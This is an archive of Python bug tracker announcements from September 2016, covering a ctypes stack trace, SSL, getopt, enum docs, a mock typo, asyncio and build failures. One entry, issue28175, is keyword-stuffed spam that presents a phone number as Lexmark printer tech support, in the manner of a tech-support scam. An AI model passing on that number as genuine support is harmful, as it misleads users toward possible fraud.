    #44 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #45 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #46 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #47 0x944103 in call_function Python/ceval.c:4787
    #48 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #49 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #50 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #51 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #52 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #53 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #54 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #55 0x957bb0 in do_call_core Python/ceval.c:5032
    #56 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #57 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #58 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #59 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #60 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #61 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #62 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #63 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #64 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #65 0x944103 in call_function Python/ceval.c:4787
    #66 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #67 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #68 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #69 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #70 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #71 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #72 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #73 0x957bb0 in do_call_core Python/ceval.c:5032
    #74 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #75 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #76 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #77 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #78 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #79 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #80 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #81 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #82 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #83 0x944103 in call_function Python/ceval.c:4787
    #84 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #85 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #86 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #87 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #88 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #89 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #90 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #91 0x957bb0 in do_call_core Python/ceval.c:5032
    #92 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #93 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #94 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #95 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #96 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #97 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #98 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #99 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #100 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #101 0x944103 in call_function Python/ceval.c:4787
    #102 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #103 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #104 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #105 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #106 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #107 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #108 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #109 0x957bb0 in do_call_core Python/ceval.c:5032
    #110 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #111 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #112 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #113 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #114 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #115 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #116 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #117 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #118 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #119 0x944103 in call_function Python/ceval.c:4787
    #120 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #121 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #122 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #123 0x945235 in fast_function Python/ceval.c:4880
    #124 0x945235 in call_function Python/ceval.c:4784
    #125 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #126 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #127 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #128 0x945235 in fast_function Python/ceval.c:4880
    #129 0x945235 in call_function Python/ceval.c:4784
    #130 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #131 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #132 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #133 0x944b2e in fast_function Python/ceval.c:4904
    #134 0x944b2e in call_function Python/ceval.c:4784
    #135 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #136 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #137 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #138 0x944b2e in fast_function Python/ceval.c:4904
    #139 0x944b2e in call_function Python/ceval.c:4784
    #140 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #141 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #142 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #143 0x944b2e in fast_function Python/ceval.c:4904
    #144 0x944b2e in call_function Python/ceval.c:4784
    #145 0x9564a2 in _PyEval_EvalFrameDefault Python/ceval.c:3266
    #146 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #147 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #148 0x945235 in fast_function Python/ceval.c:4880
    #149 0x945235 in call_function Python/ceval.c:4784
    #150 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #151 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #152 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #153 0x945235 in fast_function Python/ceval.c:4880
    #154 0x945235 in call_function Python/ceval.c:4784
    #155 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #156 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #157 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #158 0x945235 in fast_function Python/ceval.c:4880
    #159 0x945235 in call_function Python/ceval.c:4784
    #160 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #161 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #162 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #163 0x945235 in fast_function Python/ceval.c:4880
    #164 0x945235 in call_function Python/ceval.c:4784
    #165 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #166 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #167 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #168 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #169 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #170 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #171 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #172 0x957bb0 in do_call_core Python/ceval.c:5032
    #173 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #174 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #175 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #176 0x944b2e in fast_function Python/ceval.c:4904
    #177 0x944b2e in call_function Python/ceval.c:4784
    #178 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #179 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #180 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #181 0x946d62 in PyEval_EvalCodeEx Python/ceval.c:4115
    #182 0x946d62 in PyEval_EvalCode Python/ceval.c:695
    #183 0x93be64 in builtin_exec_impl Python/bltinmodule.c:944
    #184 0x93be64 in builtin_exec Python/clinic/bltinmodule.c.h:281
    #185 0x6e7d20 in _PyCFunction_FastCallDict Objects/methodobject.c:234
    #186 0x6e7d20 in _PyCFunction_FastCallKeywords Objects/methodobject.c:295
    #187 0x944cfc in call_function Python/ceval.c:4763
    #188 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #189 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #190 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #191 0x944b2e in fast_function Python/ceval.c:4904
    #192 0x944b2e in call_function Python/ceval.c:4784
    #193 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #194 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #195 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #196 0x946efe in PyEval_EvalCodeEx Python/ceval.c:4115
    #197 0x60821b in function_call Objects/funcobject.c:604
    #198 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #199 0x4a02ac in RunModule Modules/main.c:209
    #200 0x4a23cd in Py_Main Modules/main.c:719
    #201 0x423200 in main Programs/python.c:69
    #202 0x7fb4bdae36ff in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x206ff)
    #203 0x424cc8 in _start (/home/fran/code/cpython/python+0x424cc8)

----------
components: ctypes
messages: 276549
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: shift exponent overflow
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28169>
_______________________________________

From report at bugs.python.org  Thu Sep 15 11:47:27 2016
From: report at bugs.python.org (Matt Wright)
Date: Thu, 15 Sep 2016 15:47:27 +0000
Subject: [New-bugs-announce] [issue28170] SystemError: <built-in method
 peer_certificate of _ssl._SSLSocket object at 0x7f98ac154858> returned NULL
 without setting an error
Message-ID: <1473954447.18.0.714530872587.issue28170@psf.upfronthosting.co.za>


New submission from Matt Wright:

I'm experiencing a strange error when connecting to a web server with a self signed certificate. I've added the Root and Intermediate certs to the system CA bundle, and can `curl` against the server without any errors or using the `k` flag. But Python (via requests) raises an error that I can't seem to figure out at all with the `peer_certificate` method. Below you'll find the specific error:

```
import requests
requests.get('https://localhost:9200/_cluster/health', verify='/etc/ssl/certs/ca-certificates.crt')
Traceback (most recent call last):
  File "test.py", line 2, in <module>
    requests.get('https://localhost:9200/_cluster/health', verify='/etc/ssl/certs/ca-certificates.crt')
  File "/usr/lib/python3/dist-packages/requests/api.py", line 67, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/api.py", line 53, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 468, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 576, in send
    r = adapter.send(request, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/adapters.py", line 376, in send
    timeout=timeout
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 560, in urlopen
    body=body, headers=headers)
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 346, in _make_request
    self._validate_conn(conn)
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 787, in _validate_conn
    conn.connect()
  File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 259, in connect
    cert = self.sock.getpeercert()
  File "/usr/lib/python3.5/ssl.py", line 818, in getpeercert
    return self._sslobj.getpeercert(binary_form)
  File "/usr/lib/python3.5/ssl.py", line 595, in getpeercert
    return self._sslobj.peer_certificate(binary_form)
SystemError: <built-in method peer_certificate of _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an error
```

----------
assignee: christian.heimes
components: SSL
messages: 276567
nosy: Matt Wright, christian.heimes
priority: normal
severity: normal
status: open
title: SystemError: <built-in method peer_certificate of _ssl._SSLSocket object at 0x7f98ac154858> returned NULL without setting an error
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28170>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:56:36 2016
From: report at bugs.python.org (Mike Hagerty)
Date: Thu, 15 Sep 2016 18:56:36 +0000
Subject: [New-bugs-announce] [issue28171] getopt.getopt error processing
 long_options
Message-ID: <1473965796.55.0.533573601577.issue28171@psf.upfronthosting.co.za>


New submission from Mike Hagerty:

Here's the relevant code:

opts, args = getopt.getopt(sys.argv[1:], "ih", ["help", "f1Hz","startdate=", "ndays="])

>main.py -i --f1H --startdat=2016-08-22 --ndays 2

Here's what getopt returns into opts:
opts= [('-i', ''), ('--f1Hz', ''), ('--startdate', '2016-08-22'), ('--ndays', '2')]

As you can see, I gave incomplete long_option names ("--f1H" instead of "--f1Hz",
"startdat" instead of "startdate") but getopt doesn't care.

getopt appears to scan just until the end of the input flag ("--f1H") and replaces this in opts with the full flag name passed to it ("--f1Hz") that matches the first characters.  

This means, for instance, you couldn't do:
>main.py --flag1=something --flag11=something_else

Surely this isn't intended behavior (?)

----------
messages: 276588
nosy: hagertmb at bc.edu
priority: normal
severity: normal
status: open
title: getopt.getopt error processing long_options
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:01:47 2016
From: report at bugs.python.org (Chris Angelico)
Date: Thu, 15 Sep 2016 19:01:47 +0000
Subject: [New-bugs-announce] [issue28172] Upper-case all example enum members
Message-ID: <1473966107.03.0.300297915122.issue28172@psf.upfronthosting.co.za>


New submission from Chris Angelico:

Discussion on python-ideas led to a firm ruling by Guido that enum members are functionally equivalent to constants, and should thus be named in upper-case. This is contrary to the current documentation. Solution? Change the docs.

----------
assignee: docs at python
components: Documentation
files: uppercase-enums.patch
keywords: patch
messages: 276589
nosy: Rosuav, docs at python
priority: normal
severity: normal
status: open
title: Upper-case all example enum members
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44676/uppercase-enums.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28172>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:10:15 2016
From: report at bugs.python.org (Chris Rao)
Date: Thu, 15 Sep 2016 19:10:15 +0000
Subject: [New-bugs-announce] [issue28173] Misspelled Assert
Message-ID: <1473966615.29.0.712083850486.issue28173@psf.upfronthosting.co.za>


New submission from Chris Rao:

In the second code block in the section on autospeccing in https://docs.python.org/3/library/unittest.mock.html#auto-speccing, assert is spelled as "assret"

>>> mock = Mock(name='Thing', return_value=None)
>>> mock(1, 2, 3)
>>> mock.assret_called_once_with(4, 5, 6)

----------
assignee: docs at python
components: Documentation
messages: 276596
nosy: Chris Rao, docs at python
priority: normal
severity: normal
status: open
title: Misspelled Assert

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28173>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:44:09 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 19:44:09 +0000
Subject: [New-bugs-announce] [issue28174] asyncio: Handle when SO_REUSEPORT
 isn't properly supported
Message-ID: <1473968649.81.0.461772450812.issue28174@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Proxy issue for https://github.com/python/asyncio/pull/418

----------
assignee: yselivanov
components: asyncio
messages: 276606
nosy: gvanrossum, yselivanov
priority: normal
severity: normal
stage: resolved
status: open
title: asyncio: Handle when SO_REUSEPORT isn't properly supported
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28174>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:17:42 2016
From: report at bugs.python.org (himanshu jha)
Date: Thu, 15 Sep 2016 20:17:42 +0000
Subject: [New-bugs-announce] [issue28175] @^@^@^@1~8.5.5.7.0.9~2847^^^^
 Lexmark P.r.i.n.t.e.r T.e.h S.u.p.p.O.r.T P.h.o.n.e n.u.m.b.e.r Lexmark
 p.h.o.n.e N.u.m.b.e.r.
Message-ID: <1473970662.32.0.932560938968.issue28175@psf.upfronthosting.co.za>


New submission from himanshu jha:

((moti))Call @@@++ USA I8557O92847 LEXMARK p.r.i.n.t.e.r t.e.c.h s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.e.r u.s.a. C.a.l.l LEXMARK h.e.l.p d.e.s.k n.u.m.b.e.r n.u.m.b.e.r C.a.n.a.d.a LEXMARK s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.r usa USA 1 I8557O92847 LEXMARK p.r.i.n.t.e.r t.e.c.h s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.e.r u.s.a. C.a.l.l LEXMARK h.e.l.p d.e.s.k n.u.m.b.e.r n.u.m.b.e.r C.a.n.a.d.a LEXMARK s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.r usa canada 1-1855-709-2847 USA, LEXMARK printer Tech Support phone number,LEXMARK technical support phone number 1 I8557O92847 .LEXMARK Tech Support Number LEXMARK Tech LEXMARK tech support, LEXMARK tech support number, LEXMARK tech support phone number, LEXMARK technical support, LEXMARK technical support number, LEXMARK technical support phone number, LEXMARK tech support number, LEXMARK support number, LEXMARK Tech support phone number, LEXMARK support phone number, LEXMARK technical support phone number, LEXMARK technical support number,Support Phone Number for LEXMARK printer Phone Number for LEXMARK CustomerService Technical Support Telephone Number LEXMARK printer support number LEXMARK LEXMARK printer tech support number LEXMARK LEXMARK printer technical support number LEXMARK LEXMARK printer technical support phone number LEXMARK LEXMARK printer customer service number LEXMARK LEXMARK internet security technical support LEXMARK technical support phone number LEXMARK LEXMARK tech support phone number LEXMARK LEXMARK customer support phone number I-855-709-2847 LEXMARK LEXMARK printer support phone number LEXMARK LEXMARK support phone LEXMARK tech support LEXMARK customer support LEXMARK phone support LEXMARK support number LEXMARK LEXMARK technical support LEXMARK printer customer support phone number LEXMARK LEXMARK printer tech support phone number LEXMARK contact LEXMARK support LEXMARK printer technical support phone number ~!~I8557092847++ LEXMARK LEXMARK phone number LEXMARK tech support LEXMARK support ticket LEXMARK customer support number LEXMARK LEXMARK tech support number LEXMARK LEXMARK technical support number LEXMARK LEXMARK support center LEXMARK telephone support call LEXMARK support LEXMARK printer support support LEXMARK LEXMARK billing support LEXMARK printer technical support number LEXMARK support LEXMARK printer LEXMARK online support LEXMARK contact support LEXMARK printer support number LEXMARK LEXMARK printer customer support number LEXMARK LEXMARK printer tech support number LEXMARK support for LEXMARK LEXMARK phone number LEXMARK LEXMARK customer service phone number LEXMARK LEXMARK contact phone number LEXMARK LEXMARK printer phone number LEXMARK LEXMARK printer customer service phone number LEXMARK phone number LEXMARK for LEXMARK customer service LEXMARK software phone number LEXMARK phone number LEXMARK for LEXMARK LEXMARK customer service telephone number LEXMARK LEXMARK helpline phone number LEXMARK LEXMARK contact number LEXMARK LEXMARK customer service number LEXMARK LEXMARK customer service phone number ~!~I8557092847++ LEXMARK us LEXMARK customer service phone number LEXMARK usa LEXMARK telephone number LEXMARK LEXMARK phone number LEXMARK usa LEXMARK printer contact number LEXMARK LEXMARK number LEXMARK LEXMARK contact number LEXMARK usa LEXMARK printer helpline number LEXMARK LEXMARK helpline number LEXMARK LEXMARK customer number LEXMARK LEXMARK printer customer service number LEXMARK LEXMARK contact telephone number LEXMARK contact number LEXMARK for LEXMARK LEXMARK software contact number LEXMARK LEXMARK toll free number LEXMARK LEXMARK telephone number LEXMARK uk LEXMARK registration number LEXMARK LEXMARK toll free number LEXMARK usa LEXMARK customer service LEXMARK software customer service contact LEXMARK customer service LEXMARK customer service phone LEXMARK printer customer service LEXMARK service LEXMARK printer technical support LEXMARK printer customer support LEXMARK technical support reviews telephone LEXMARK printer LEXMARK tech support phone number LEXMARK LEXMARK printer tech support phone number LEXMARK LEXMARK printer customer service LEXMARK technical support phone number LEXMARK LEXMARK printer free printer support LEXMARK customer service billing LEXMARK customer service email address LEXMARK customer service reviews contact LEXMARK customer service LEXMARK tech support number LEXMARK usa LEXMARK printer support number LEXMARK LEXMARK printer contact number LEXMARK LEXMARK customer service phone number LEXMARK LEXMARK technical support usa LEXMARK technical support number LEXMARK LEXMARK tech support phone LEXMARK tech support number LEXMARK LEXMARK customer service telephone number LEXMARK LEXMARK printer customer support number LEXMARK LEXMARK printer phone number LEXMARK LEXMARK printer online support LEXMARK customer service number LEXMARK LEXMARK tech support center LEXMARK customer service LEXMARK software customer service LEXMARK customer care number LEXMARK usa LEXMARK customer number LEXMARK LEXMARK customer support number LEXMARK LEXMARK customer care number LEXMARK LEXMARK customer care toll free number LEXMARK LEXMARK tech support LEXMARK technical support LEXMARK printer support LEXMARK printer tech support LEXMARK support center LEXMARK.com customer service LEXMARK printer customer care number LEXMARK LEXMARK customer care LEXMARK phone number LEXMARK phone number LEXMARK for LEXMARK customer service LEXMARK phone support LEXMARK phone number LEXMARK tech support LEXMARK support phone number LEXMARK contact LEXMARK by phone LEXMARK contact phone number LEXMARK LEXMARK helpline phone number LEXMARK LEXMARK printer phone LEXMARK printer for phone LEXMARK contact number LEXMARK LEXMARK contact support contact LEXMARK printer LEXMARK contact number LEXMARK usa LEXMARK toll free number LEXMARK LEXMARK telephone number LEXMARK LEXMARK toll free number LEXMARK usa LEXMARK printer support services technical support for printer LEXMARK LEXMARK customer service phone number LEXMARK usa LEXMARK printer customer care number LEXMARK usa LEXMARK customer care number LEXMARK LEXMARK customer care center LEXMARK customer support LEXMARK customer support phone LEXMARK customer help LEXMARK customer & technical support LEXMARK customer portal LEXMARK customer care phone number LEXMARK usa LEXMARK customer care email LEXMARK helpline LEXMARK tech support contact LEXMARK customer care toll free LEXMARK printer customer service number LEXMARK LEXMARK printer protection norton printer customer service number LEXMARK LEXMARK software customer service number LEXMARK LEXMARK hotline customer service phone number LEXMARK LEXMARK customer service phone number LEXMARK us how to contact LEXMARK by email LEXMARK free phone support LEXMARK printer technical support number LEXMARK LEXMARK printer technical support help desk phone number LEXMARK LEXMARK technical support number LEXMARK toll free number LEXMARK LEXMARK printer customer support phone number LEXMARK LEXMARK printer customer

----------
components: Build
hgrepos: 355
messages: 276612
nosy: himanshu jha
priority: normal
severity: normal
status: open
title: @^@^@^@1~8.5.5.7.0.9~2847^^^^ Lexmark P.r.i.n.t.e.r  T.e.h S.u.p.p.O.r.T P.h.o.n.e n.u.m.b.e.r Lexmark p.h.o.n.e N.u.m.b.e.r.
type: performance
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28175>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:55:30 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:55:30 +0000
Subject: [New-bugs-announce] [issue28176] Fix callbacks race in
 asyncio.SelectorLoop.sock_connect
Message-ID: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Proxy issue for https://github.com/python/asyncio/pull/366

----------
assignee: yselivanov
components: asyncio
messages: 276628
nosy: gvanrossum, yselivanov
priority: normal
severity: normal
stage: resolved
status: open
title: Fix callbacks race in asyncio.SelectorLoop.sock_connect
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:19:16 2016
From: report at bugs.python.org (David)
Date: Fri, 16 Sep 2016 05:19:16 +0000
Subject: [New-bugs-announce] [issue28177] Compilation failure on Debian 4
Message-ID: <1474003156.38.0.668248392552.issue28177@psf.upfronthosting.co.za>


New submission from David:

Hi there.

On Debian 4, while running 'make' against a downloaded and extracted Python-3.6.0b1.tar.xz, I get this error:

====================
gcc -pthread -c -fno-strict-aliasing -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers   -I. -IInclude -I./Include    -DPy_BUILD_CORE \
              -DHGVERSION="\"`LC_ALL=C `\"" \
              -DHGTAG="\"`LC_ALL=C `\"" \
              -DHGBRANCH="\"`LC_ALL=C `\"" \
              -o Modules/getbuildinfo.o ./Modules/getbuildinfo.c
gcc -pthread -c -fno-strict-aliasing -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers   -I. -IInclude -I./Include    -DPy_BUILD_CORE -o Programs/_freeze_importlib.o Programs/_freeze_importlib.c
gcc -pthread   -o Programs/_freeze_importlib Programs/_freeze_importlib.o Modules/getbuildinfo.o Parser/acceler.o Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o Parser/bitset.o Parser/metagrammar.o Parser/firstsets.o Parser/grammar.o Parser/pgen.o Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o Objects/abstract.o Objects/accu.o Objects/boolobject.o Objects/bytes_methods.o Objects/bytearrayobject.o Objects/bytesobject.o Objects/cellobject.o Objects/classobject.o Objects/codeobject.o Objects/complexobject.o Objects/descrobject.o Objects/enumobject.o Objects/exceptions.o Objects/genobject.o Objects/fileobject.o Objects/floatobject.o Objects/frameobject.o Objects/funcobject.o Objects/iterobject.o Objects/listobject.o Objects/longobject.o Objects/dictobject.o Objects/odictobject.o Objects/memoryobject.o Objects/methodobject.o Objects/moduleobject.o Objects/namespaceobject.o Objects/object.o Objects/obmalloc.o Objects/capsule.o Objects/rangeobject.o Objects/setobject.o Objects/sliceobject.o Objects/structseq.o Objects/tupleobject.o Objects/typeobject.o Objects/unicodeobject.o Objects/unicodectype.o Objects/weakrefobject.o Python/_warnings.o Python/Python-ast.o Python/asdl.o Python/ast.o Python/bltinmodule.o Python/ceval.o Python/compile.o Python/codecs.o Python/dynamic_annotations.o Python/dtrace_stubs.o Python/errors.o Python/frozenmain.o Python/future.o Python/getargs.o Python/getcompiler.o Python/getcopyright.o Python/getplatform.o Python/getversion.o Python/graminit.o Python/import.o Python/importdl.o Python/marshal.o Python/modsupport.o Python/mystrtoul.o Python/mysnprintf.o Python/peephole.o Python/pyarena.o Python/pyctype.o Python/pyfpe.o Python/pyhash.o Python/pylifecycle.o Python/pymath.o Python/pystate.o Python/pythonrun.o Python/pytime.o Python/random.o Python/structmember.o Python/symtable.o Python/sysmodule.o Python/traceback.o Python/getopt.o Python/pystrcmp.o Python/pystrtod.o Python/pystrhex.o Python/dtoa.o Python/formatter_unicode.o Python/fileutils.o Python/dynload_shlib.o   Python/thread.o  Modules/config.o Modules/getpath.o Modules/main.o Modules/gcmodule.o Modules/_threadmodule.o  Modules/posixmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/_weakref.o  Modules/_functoolsmodule.o  Modules/_operator.o  Modules/_collectionsmodule.o  Modules/itertoolsmodule.o  Modules/atexitmodule.o  Modules/signalmodule.o  Modules/_stat.o  Modules/timemodule.o  Modules/_localemodule.o  Modules/_iomodule.o Modules/iobase.o Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o Modules/textio.o Modules/stringio.o  Modules/zipimport.o  Modules/faulthandler.o  Modules/_tracemalloc.o Modules/hashtable.o  Modules/symtablemodule.o  Modules/xxsubtype.o -lpthread -ldl  -lutil -lrt   -lm  
Python/dtrace_stubs.o: In function `PyDTrace_LINE':
Include/pydtrace.h:28: multiple definition of `PyDTrace_LINE'
Python/ceval.o:Include/pydtrace.h:28: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_ENTRY':
Include/pydtrace.h:29: multiple definition of `PyDTrace_FUNCTION_ENTRY'
Python/ceval.o:Include/pydtrace.h:29: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_RETURN':
Include/pydtrace.h:30: multiple definition of `PyDTrace_FUNCTION_RETURN'
Python/ceval.o:Include/pydtrace.h:30: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_START':
Include/pydtrace.h:31: multiple definition of `PyDTrace_GC_START'
Python/ceval.o:Include/pydtrace.h:31: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_DONE':
Include/pydtrace.h:32: multiple definition of `PyDTrace_GC_DONE'
Python/ceval.o:Include/pydtrace.h:32: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_START':
